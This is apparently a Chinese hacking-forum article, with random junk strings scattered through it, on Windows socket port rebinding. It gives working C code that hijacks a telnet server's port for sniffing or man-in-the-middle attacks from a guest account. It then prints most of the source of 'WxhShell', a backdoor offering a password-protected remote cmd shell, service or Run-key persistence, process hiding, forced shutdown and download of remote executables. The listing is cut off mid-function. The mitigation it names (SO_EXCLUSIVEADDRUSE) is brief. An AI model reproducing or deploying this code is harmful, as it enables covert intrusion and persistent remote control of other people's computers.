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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 7O:"~L s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); C+`xx('N9 }bp.OV-+ saddr.sin_family = AF_INET; 3a%xn4P 5|CzX X#U saddr.sin_addr.s_addr = htonl(INADDR_ANY); U>oW~Z 0k%hY{ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 'X54dXS?l }0Y`|H\v 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 NJ<N %hcjK `y'aH
'EEd 这意味着什么?意味着可以进行如下的攻击: ):S!Nl 2pz4rc 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 $1~c_<DN uw_H:-J 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) =w6}\ 'X L/)B}8m\ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ;:U<ce= N^lAG"Jao[ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 wajZqC2yg 4x(F&0 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 bhn5Lz$z o,J^ e_ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 {(%~i37 !\ZcOk2 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ( :iPm< J=@xAVBc #include |f<9miNu #include V7BsE w #include B7|c`7x( #include -rO*7HO DWORD WINAPI ClientThread(LPVOID lpParam); kAeNQRjR int main() KYf;_C,$ { fL2^\dB; WORD wVersionRequested; !f`5B( @ DWORD ret; [$;,Ua-mt WSADATA wsaData; 9Yn)t#G'`F BOOL val; y=#j`MH{> SOCKADDR_IN saddr; o ~;M" SOCKADDR_IN scaddr; @*SA$9/l int err; w
[L&* SOCKET s; 1#]B^D SOCKET sc; O~atNrHD int caddsize; 7u|%^Ao6 HANDLE mt; {d,?bs) DWORD tid; \TZ|S,FS wVersionRequested = MAKEWORD( 2, 2 ); bH,M,xIL2 err = WSAStartup( wVersionRequested, &wsaData ); # v+;: if ( err != 0 ) { FJ}gUs{m printf("error!WSAStartup failed!\n"); -qfnUh return -1; $,@JYLC2 } y`6\L$c saddr.sin_family = AF_INET; Gp8psH fQO
""qh //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 U:\p$ hL9 c`ftd>] saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); jccOsG9;_ saddr.sin_port = htons(23); 1U'ZVJ5bpK if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) fq=:h\\G { \qB6TiB/ printf("error!socket failed!\n"); ~@@
Z|w return -1; W6i3Psjsw } qW3x{L$c val = TRUE; }1Z6e[K? //SO_REUSEADDR选项就是可以实现端口重绑定的 tJAnuhX if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) L ?Cjo4xS { l/QhD?)9 printf("error!setsockopt failed!\n"); :xtT)w return -1; f]]f85 } L0xsazX:x //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 9OfU7_m //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 9>;} /*:H //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ZL,8,;] a MsJO*;> if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 3Soy3Xp { y]
y9'5_ ret=GetLastError(); Hr&Ere8.4p printf("error!bind failed!\n"); E?_ zZ2 return -1; Wt:~S/l } +<{m45 listen(s,2); %i595Ij-] while(1) %jTw { Cdmy.gx^ caddsize = sizeof(scaddr); :]-$dEu& //接受连接请求 KGD'mByt" sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); w,/6B&| if(sc!=INVALID_SOCKET) J)Ol"LXV { >uHb ^ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); {!r#f(?uT if(mt==NULL) QvJZkGX { Z0W0uP;J printf("Thread Creat Failed!\n"); C/)`<b( break; #
M>wH`Q# } +|0 t }
|Qr:!MA CloseHandle(mt); }jiK3?e } 6bUl>4 closesocket(s); bS%C?8 WSACleanup(); j76%UG\Ga return 0; K[]K53Nk } v^TkDf(Oz DWORD WINAPI ClientThread(LPVOID lpParam) e[8UH =`| { 1yS&~
y?a SOCKET ss = (SOCKET)lpParam;
QAUykS8 SOCKET sc; o} {-j
unsigned char buf[4096]; t#~XLCE SOCKADDR_IN saddr; _*n)mlLln long num; 7@3sUA_Go DWORD val; 0qR$J DWORD ret; 59Nd}wPO; //如果是隐藏端口应用的话,可以在此处加一些判断 \447]<u //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 8)?_{ saddr.sin_family = AF_INET; U!Mf]3
saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); `S$sQ& saddr.sin_port = htons(23); t\%%d)d9 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *:S~C { `2e_ L printf("error!socket failed!\n"); -N4z-ozhC return -1; GXYj+ qJ } @,e8t BL val = 100; #9,=Owup
if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \4QH/e { B\0t&dai|' ret = GetLastError(); Eu4 &-i return -1; ?;RD u[eD } ^RDU
p5,T if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) u(Rk'7k { 'kEG.Oq7 ret = GetLastError(); bvp)r[8h return -1; bl$j%gI%, } NWaO_sm if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) sv`"\3N[ { dN0mYlu1| printf("error!socket connect failed!\n"); .)t(:)*b closesocket(sc); {2EMz|&8 closesocket(ss); 'kQ~ return -1; n.ct]+L } Fs) while(1) qRl/Sl#F { 4m\([EO //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 DJ|BM+ //如果是嗅探内容的话,可以再此处进行内容分析和记录 OfJd/D //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 jzMg'z/@J num = recv(ss,buf,4096,0); `)2[ST if(num>0) ])UwC-l send(sc,buf,num,0); &g
{<HU?BT else if(num==0) u GAh7Sop break;
J `x}{K num = recv(sc,buf,4096,0); 3Y(9\}E@` if(num>0) ofK='G. send(ss,buf,num,0); hLo>R'@uN else if(num==0) T]uKH29.% break; `-u7 I } :*cHA closesocket(ss); gi1j/j7 closesocket(sc); Oq}ip return 0 ; Ck@M<(x } ^9=4iXd XR+rT gCL{Cw ========================================================== ` yYvYc :cdQ(O.m 下边附上一个代码,,WXhSHELL ~b#OFnyG PT05DH ========================================================== ftaBilkjp l1DI*0@ #include "stdafx.h" J?,?fqb 2+Zti8 #include <stdio.h> UO1$UF!
QC #include <string.h> k% NrL@z #include <windows.h> L20rv:W$h #include <winsock2.h> >3!DOv #include <winsvc.h> LyV#j>gD #include <urlmon.h> *F|+2?a:$ RAwk7F3qn #pragma comment (lib, "Ws2_32.lib") nzWQQra|? #pragma comment (lib, "urlmon.lib") NnP.k7m) |
+fwvi&a #define MAX_USER 100 // 最大客户端连接数 pND48 g; #define BUF_SOCK 200 // sock buffer )vQNiik# #define KEY_BUFF 255 // 输入 buffer aP_3C_ -[Y:?lA #define REBOOT 0 // 重启 >Zo-wYG #define SHUTDOWN 1 // 关机 B>@D,)/bT5 jr:drzr{I #define DEF_PORT 5000 // 监听端口 |eF.ZC)QWh ,H@TYw #define REG_LEN 16 // 注册表键长度 b*`fLrqV. #define SVC_LEN 80 // NT服务名长度 CC>($k" L&QtHSzy // 从dll定义API Q K j1yG0i typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $bFgsy*N2 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {Hr>X typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); AoIc9ElEX typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); u]0!|Jd0 zu<>"5}] // wxhshell配置信息 :v#8O~ struct WSCFG { @ct#s:t int ws_port; // 监听端口 2]3G1idB char ws_passstr[REG_LEN]; // 口令 ;M-,HK4= int ws_autoins; // 安装标记, 1=yes 0=no j
C9<hLt char ws_regname[REG_LEN]; // 注册表键名 %]!?{U\*k char ws_svcname[REG_LEN]; // 服务名 ExQ--!AC= char ws_svcdisp[SVC_LEN]; // 服务显示名 w~]}acP char ws_svcdesc[SVC_LEN]; // 服务描述信息 F=:c5z char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $82zy q int ws_downexe; // 下载执行标记, 1=yes 0=no >j-
b5g"g char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" ],Ab cTX char ws_filenam[SVC_LEN]; // 下载后保存的文件名 'z~KTDX HwM/}-t }; leR"j 418gcg6) // default Wxhshell configuration -CwWs~! struct WSCFG wscfg={DEF_PORT, h~:H?pj3g "xuhuanlingzhe", [&Lxz~W][ 1, LPMb0F}"5 "Wxhshell", sI$:V7/! "Wxhshell", bje'Oolc "WxhShell Service", z30= ay1 "Wrsky Windows CmdShell Service", f!(cD80 "Please Input Your Password: ", ?o@E1:aA 1, 5uzpTNAMM1 " http://www.wrsky.com/wxhshell.exe", <9T
[yg "Wxhshell.exe" h ;jsH! }; I'P!,Y/> ]Px:d+wX: // 消息定义模块 ypxC1E char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; S;BP`g<l= char *msg_ws_prompt="\n\r? for help\n\r#>"; WVj&0 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; J09ZK8
hK char *msg_ws_ext="\n\rExit."; *x5o=)Y char *msg_ws_end="\n\rQuit."; 27$\sG|g char *msg_ws_boot="\n\rReboot..."; gl Li char *msg_ws_poff="\n\rShutdown..."; >
d^r">!, char *msg_ws_down="\n\rSave to "; %bN"bxv^ 8`6
LMQ char *msg_ws_err="\n\rErr!"; xR _DY'z char *msg_ws_ok="\n\rOK!"; RR8U
Cv 3EO#EYAHiM char ExeFile[MAX_PATH]; POkXd^pI int nUser = 0; :K?iNZqWN6 HANDLE handles[MAX_USER]; S`fu+^cv int OsIsNt; hY)YX,f=S \A~4\um SERVICE_STATUS serviceStatus; =y`-sU Hx SERVICE_STATUS_HANDLE hServiceStatusHandle; {XyG1 dr}O+7_7%- // 函数声明 ud5x$` int Install(void); r*xq(\v int Uninstall(void); 9
4 "f int DownloadFile(char *sURL, SOCKET wsh); /]P%b K6B int Boot(int flag); zC[i <'h!T void HideProc(void); ^BQ>vI'.4 int GetOsVer(void); >Y44{D\` int Wxhshell(SOCKET wsl); bXk:~LE void TalkWithClient(void *cs); x`wZtv\ int CmdShell(SOCKET sock); Tm0?[[3hC int StartFromService(void);
4{c`g$j> int StartWxhshell(LPSTR lpCmdLine); M,I68 F@oT7NB/n VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); VNr!|bp5 VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4c~*hMry 1V#B]x: // 数据结构和表定义 3~#Z E;># SERVICE_TABLE_ENTRY DispatchTable[] = 6="M0% { 5B_-nYJDt {wscfg.ws_svcname, NTServiceMain}, -(`K7T>D. {NULL, NULL} :+kg4v&r }; HrM)jC<~ AN50P!FZW // 自我安装 \nn56o@eN int Install(void) iLc)"L-i { YN$ndqOP char svExeFile[MAX_PATH]; Ov F8&*A HKEY key; 8uD8or strcpy(svExeFile,ExeFile); RRK^~JQI.2 ytuWT,u // 如果是win9x系统,修改注册表设为自启动 iG?w; if(!OsIsNt) { q_OY sg if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2X
qPZ]2g RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 17?NR\Q RegCloseKey(key); 7]R6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1==P.d( RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N4[B:n RegCloseKey(key); ayB=|*Q" return 0; _:/Cl9~ } \3J+OY } g6tWU } f]O5V$!RuE else { Te{aB"B ^R&_}bp // 如果是NT以上系统,安装为系统服务 <T4 7kL I SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1mvu3}ewx if (schSCManager!=0) w-{#6/<kI5 { /@xr[=L
SC_HANDLE schService = CreateService hnM9-hqm ( TPN:cA6[c schSCManager, &VtWSq-) wscfg.ws_svcname, !07FsPI#{ wscfg.ws_svcdisp, xF\}.OfWG SERVICE_ALL_ACCESS,
Ep#<$6> SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , p0%6@_FT~ SERVICE_AUTO_START, zM3H@;}m SERVICE_ERROR_NORMAL, ;@h'Mb svExeFile, 98"z0nI% NULL, sYW1T @ NULL, 4okHAv8; NULL, n]kQtjJ NULL, fS8XuT NULL _ d(Ks9 ); v ](G?L9b if (schService!=0) |TNiKy { &Nj:XX;X CloseServiceHandle(schService); =PeW$q+ CloseServiceHandle(schSCManager); N7Z(lI|a; strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .j+2x[`l strcat(svExeFile,wscfg.ws_svcname); Huug_E+ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `SSP53R(0 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); J%O[@jX1 RegCloseKey(key); NoSqzJyh return 0; W}<M?b4tP } "OlI-^y } * 7zN CloseServiceHandle(schSCManager); 8Pnqmjjj } tOlzOBzR } 9phD5b~j ~I8"l@H> return 1; q^T&A[hMPx } P"h,[{Y*> 3>:zo:; // 自我卸载 'w |s*5 int Uninstall(void) .aAw7LW { "=v J} HKEY key; <W^XSk =_H*fhXS if(!OsIsNt) { ux/[d6To if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7kWZMi RegDeleteValue(key,wscfg.ws_regname); ;{F;e)${M RegCloseKey(key); o#KPrW`XJ/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8m13M5r RegDeleteValue(key,wscfg.ws_regname); l yLK$B?/ RegCloseKey(key); s K$Sar return 0; D3ZT'' } iX9[Q0g=oQ } "cz]bCr8 } ^0BF2&Zx else { jT wM<? L;(3u' SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <|>:UGAR if (schSCManager!=0) '8kL1 { aS1P]& SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5D02%U2N)G if (schService!=0) +lf@O&w { 2=UTH%1D if(DeleteService(schService)!=0) { tr67ofld| CloseServiceHandle(schService); /i]=ndAk CloseServiceHandle(schSCManager); F6neG~Y return 0; {H7$uiq3:B } KH 6n3 \= CloseServiceHandle(schService); BR0p0% } zWR*g/i CloseServiceHandle(schSCManager); CH R?i1e } O<H@:W#k } w1!\L_::Y q5K/+N^2? return 1; )uv$tnP* } lG^mW\O L-X
_b3E\ // 从指定url下载文件 #D*J5k>2 int DownloadFile(char *sURL, SOCKET wsh) E )Zd{9A5) { Aaw:B?4) HRESULT hr; fU){]YP char seps[]= "/"; ;H#R{uR_< char *token; ]6c2[r?g{ char *file; %onAlf<$:^ char myURL[MAX_PATH]; h}VYA\+<B char myFILE[MAX_PATH]; jJ{
w -$ iTBhLg, strcpy(myURL,sURL); ^Ihdq89 t token=strtok(myURL,seps); JcALFKLB while(token!=NULL) URzE+8m^ { fN? Lz%z3 file=token; v.8S
V] token=strtok(NULL,seps); `a1R "A } q'8@0FT0 rQQPs\o GetCurrentDirectory(MAX_PATH,myFILE); ^{]sD}Q" strcat(myFILE, "\\"); HuLm!tCu strcat(myFILE, file); `5 v51TpH send(wsh,myFILE,strlen(myFILE),0); 9QM"JEu@ send(wsh,"...",3,0); H f mMf^c hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); BrH`:Dw if(hr==S_OK) }Us$y0W\ return 0; @snLE?g j else x`|tT%q@l return 1; f`";Q/rG ,9j:h)ks? } =rtA{g$)+ b+#~N>| // 系统电源模块 @^4M~F% int Boot(int flag) }T*xT>p^3 { W;@ae,^ HANDLE hToken; R8W44I*R: TOKEN_PRIVILEGES tkp; l$_+WC*wp l?<z1Acd& if(OsIsNt) { z{M,2 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); k^%ec3l LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,8 NEnB tkp.PrivilegeCount = 1; l$~bkVNL tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7|eSvC AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +Q#Qu0_
if(flag==REBOOT) { _w,0wn9N$ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Ak-7}i return 0; e ~,'|~
C5 } s/&]gj" else { `j"G=%e3. if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7;-i_&vws return 0; \ rWgA } 1kw4'#J8 } U\GZ
else { V4i%|vV if(flag==REBOOT) { s=@CeV@4W if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Ewsg&CCN return 0; I\6<)2j/L } rxk{Li<9 else { \osQwGPV if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :Ty*i return 0; +&8Ud8Q } 4W-+k } 1E_Ui1 [ g~D6.OZU return 1; Gv3Fg[MA@c } /g7?,/vnZ /+U)!$zm* // win9x进程隐藏模块 +\$|L+@Z void HideProc(void) #]/T9: { Ca"+t
lO S&)
>w5*]U HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); yQ&%* ?J if ( hKernel != NULL ) 1b%7FrPkd { R'HA>?D pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \ OINzfbr ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Afl'- FreeLibrary(hKernel); 17 iq } JJ3JULL2 MFsy`aiS return; A+E@OO w*~ } zW`koRH@ U+M?<4J)" // 获取操作系统版本 cyeDZ) int GetOsVer(void) 0\^2HjsJ { ]Wm ?<7H OSVERSIONINFO winfo; &nw~gSe winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ou,_l GetVersionEx(&winfo); ZTC1t_ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1Sk6[h'CL return 1; Z*3}L else 0!
%} return 0; 80>!qG } 2![W
N*N>O &bK$!8Z // 客户端句柄模块 rM.<Gi05Qe int Wxhshell(SOCKET wsl) cHct|Z
u { )Dpt<}}\ SOCKET wsh; ^{bEq\5& struct sockaddr_in client; [
[CXMbD`* DWORD myID; eakIK+-21y 4x=Y9w0?8 while(nUser<MAX_USER) DCUq.q) { bj{f[nZ d int nSize=sizeof(client); _\;#a wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?tQv|x if(wsh==INVALID_SOCKET) return 1; rL"k-5>fd HN@)/5BY handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); a/#,Y<kJ if(handles[nUser]==0) UH|.@7w closesocket(wsh); BQg]$Tr? else `:O.g9 nUser++; 0lN8#k>H } :[03upyS WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |:[vpJFK P?7b,a95O return 0; >AFpO*q" } f`rz)C03 U#
B // 关闭 socket R/|{?:r?:x void CloseIt(SOCKET wsh) AE
_~DZ:%c { X#<Sv>c^ closesocket(wsh); ^k##a-t<_> nUser--; Jz'+@q6h ExitThread(0); K 5[ 3WHQ } bOKNWI _S1uJ~j;E // 客户端请求句柄 VNXVuM )c void TalkWithClient(void *cs) nP31jm+A { j-|0&X1C zSCPp6 SOCKET wsh=(SOCKET)cs; "PtH
F`mo char pwd[SVC_LEN]; *^_!W'T{j char cmd[KEY_BUFF]; \M@8# k| char chr[1]; h_!"CF<n int i,j; gv-k}2u_ s'4p+eJ while (nUser < MAX_USER) { WQL`;uIX (B#|3o if(wscfg.ws_passstr) { cf!R if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c Zr4 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z.JTq~`I //ZeroMemory(pwd,KEY_BUFF); KZNyp%q i=0; TD7ONa-, while(i<SVC_LEN) { `I$A;OPK7 =1capix 1r // 设置超时 $0t
%}DE fd_set FdRead; k3XtKPO struct timeval TimeOut; g2q=&eI" FD_ZERO(&FdRead); =p6xc}N FD_SET(wsh,&FdRead); _R6> Ayw* TimeOut.tv_sec=8; 1[]cMyV TimeOut.tv_usec=0; DUr1s]+P int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Km-B=6*QY if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Wz]S+IpY &@-glF5 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K e8cfd~c pwd =chr[0]; $n"Llw&) if(chr[0]==0xd || chr[0]==0xa) { L+L9)8FJ pwd=0; 06$9Uz9 break; P0=F9`3wb } 9n7d
"XD2 i++; 0<9TyN6 } B"v=Fr[ [4e5(!e // 如果是非法用户,关闭 socket 8 Hn{CJ~' if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); k_B^2= } H"l'E9k.&p a{W-+t send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); qT4s*kqr send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4{KsCd) p%-9T>og while(1) { !TFVBK $Vzfhj-if ZeroMemory(cmd,KEY_BUFF); Y')+/<Q2E b'YbHUyu // 自动支持客户端 telnet标准 M&dtXG8<^ j=0; *gn*S3Is[j while(j<KEY_BUFF) { W%ud nJ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _?ZT[t<
cmd[j]=chr[0]; 9@06]EI_ if(chr[0]==0xa || chr[0]==0xd) { ,R+u%bmn# cmd[j]=0; i_"I"5pBF break; Tx(R3B+u7 } L;[*F-+jD j++; Qp,l>k } TfPx MR}\fw$(. // 下载文件 |=POV]K if(strstr(cmd,"http://")) { x3Uv& send(wsh,msg_ws_down,strlen(msg_ws_down),0); o[6hUX0tN if(DownloadFile(cmd,wsh)) l;uEw send(wsh,msg_ws_err,strlen(msg_ws_err),0); d9(F wmE else zBbTj IFQ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?*4zNhL } "^H+A-R[ else { zjmc>++<t qJ@?[|2R switch(cmd[0]) { $H^6I8> sq_:U_tJ // 帮助 pP @#|T case '?': { d\v _!7 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); r!S iR( break; o2~x'*A0I } Gm.hBNgp // 安装 (`xc3-, case 'i': { 7}Sw(g)o7 if(Install()) Q$%@.@ send(wsh,msg_ws_err,strlen(msg_ws_err),0); c.fj[U|j else "{k3~epYaN send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9M<? *8) break; VsC]z,
oV } <Yc:,CU // 卸载 zP9!fA case 'r': { X$*
'D) if(Uninstall()) }/VHeHd send(wsh,msg_ws_err,strlen(msg_ws_err),0); v09f#t$;5 else KJd;c. send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'Khq!pC break; 9\8""- } ,>$#e1!J // 显示 wxhshell 所在路径 md0=6<
}P case 'p': { VV char svExeFile[MAX_PATH]; 1f=L8Dr strcpy(svExeFile,"\n\r"); 4v>V7T. strcat(svExeFile,ExeFile); -cKR15 send(wsh,svExeFile,strlen(svExeFile),0); &eg,*K} ' break; ,"'agg:St } JG[+e*8 // 重启 L!5f* case 'b': { +FiV!nRkZ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (\}IOCNS if(Boot(REBOOT)) (]1%s?ud* send(wsh,msg_ws_err,strlen(msg_ws_err),0); [V2l&ZUni else { -K
jCPc closesocket(wsh); )oj`K,# ExitThread(0); v%1# y5 } L4NC- break; \c]/4C +/ } ;[xDc>&("Q // 关机 SBEJ@&iB~ case 'd': { eYa gI send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +|.#<]GA if(Boot(SHUTDOWN)) F JzjS; send(wsh,msg_ws_err,strlen(msg_ws_err),0); t3M/ThIE else { 1)r1/0 closesocket(wsh); #U1soZ7 ExitThread(0); {M$1?j"7 } h*d,AJz &. break; DxYu } .Ybm27Dk // 获取shell \z_@.Jw{ case 's': { L+,{*Uj[; CmdShell(wsh);
R+m{nO~r closesocket(wsh); *) wp ExitThread(0); `mMD e break; GL /\uq } H(pOR<` // 退出 $Ec;w~e case 'x': { 34oC285yc send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); snyx$Qx( CloseIt(wsh); t*DM^.@ break; F/!C=nS } v7ae^iU // 离开 #&@&BlIe case 'q': { =3}+f-6"' send(wsh,msg_ws_end,strlen(msg_ws_end),0); Dk4Wj"LS closesocket(wsh); ZK13[_@9 WSACleanup(); Z?GC+hG` exit(1); aqMZ%~7 break; {ng } Jjy}m0)#W_ } BjB2YO& / } ;w1h) S4|)N,# // 提示信息 -F*j` if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5B51^" } >V]>h&` } nZ{~@E2 %o?fE4o' return; Oe5aNo } p@!"x({@l im&|H- // shell模块句柄 M0^r!f>O int CmdShell(SOCKET sock) 0xPML}|V { Db2G)63 STARTUPINFO si; =^{^KHzIl3 ZeroMemory(&si,sizeof(si)); _z}d yp"I si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; P[Qr[74) si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9
Iw+g]`y* PROCESS_INFORMATION ProcessInfo; :!3P4?a char cmdline[]="cmd"; L\b$1U!i CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); UP,(zKTA return 0; '8}\! i& } cd:O@)i HHX9QebiST // 自身启动模式 A\=:h AQ int StartFromService(void) 0AaN { %~6+=*(\ typedef struct "r[Ea| { tmm\V7sJ DWORD ExitStatus; p1 o?^A& DWORD PebBaseAddress; wo?C7,-x DWORD AffinityMask; [rQ#skf DWORD BasePriority; V,>#!zUv ULONG UniqueProcessId; /
